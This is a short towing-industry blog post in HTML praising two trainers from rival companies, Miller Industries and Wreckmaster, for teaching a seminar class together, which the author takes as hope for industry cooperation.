<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Ok, enough show bashing. There is something else I want to talk about. Peeing on each others tree. You can make your pee more pungent if you limit how much wa ... wait, I have a better way to put this. Every day we see articles posted by the supposed experts that we need to combine our efforts in this industry and start working together. It\'s hard to do and even harder to visualize when all around you there are factions fighting for control. This manufacturer against that manufacturer, this trainer or that trainer, which do we follow, EMS and towers on separate sides of the room etc. Then I went to a seminar and in this seminar I saw these two guys doing a class together!</span></span></p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\"><img title=\"Training Together\" src=\"http://towme.net/m/photos/get_image/file/9361509972006aa3e98a65ffb0b02902.jpg\" alt=\"Terry Hummelsine and Tom Luciano\" width=\"300\" height=\"227\" /></span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">I do not know why and I have been speculating heavily on what conditions may have existed that would cause these two guys to get together for a training class. Tom Luciano from Miller Industries and Terry Hummelsine from Wreckmaster! After all that I didn\'t see and all the wows that I never got to say I finally got to rejoice! WOW! Two guys from completely different camps working together to further the training cause of this industry! My hats are off to both these gentlemen and I want to say thank you for stepping up to the plate and finally walking the walk! </span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Maybe sometime in the distant future we really will be able to come together as an indusrtry and start affecting some change. Thanks to these two guys, for me anyways, the light at the end of that tunnel just got a lot closer.</span></span></p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:x-small;\">&nbsp;<img title=\"Cool\" src=\"http://towme.net/plugins/tiny_mce/plugins/emotions/img/smiley-cool.gif\" border=\"0\" alt=\"Cool\" /></span></span></p>

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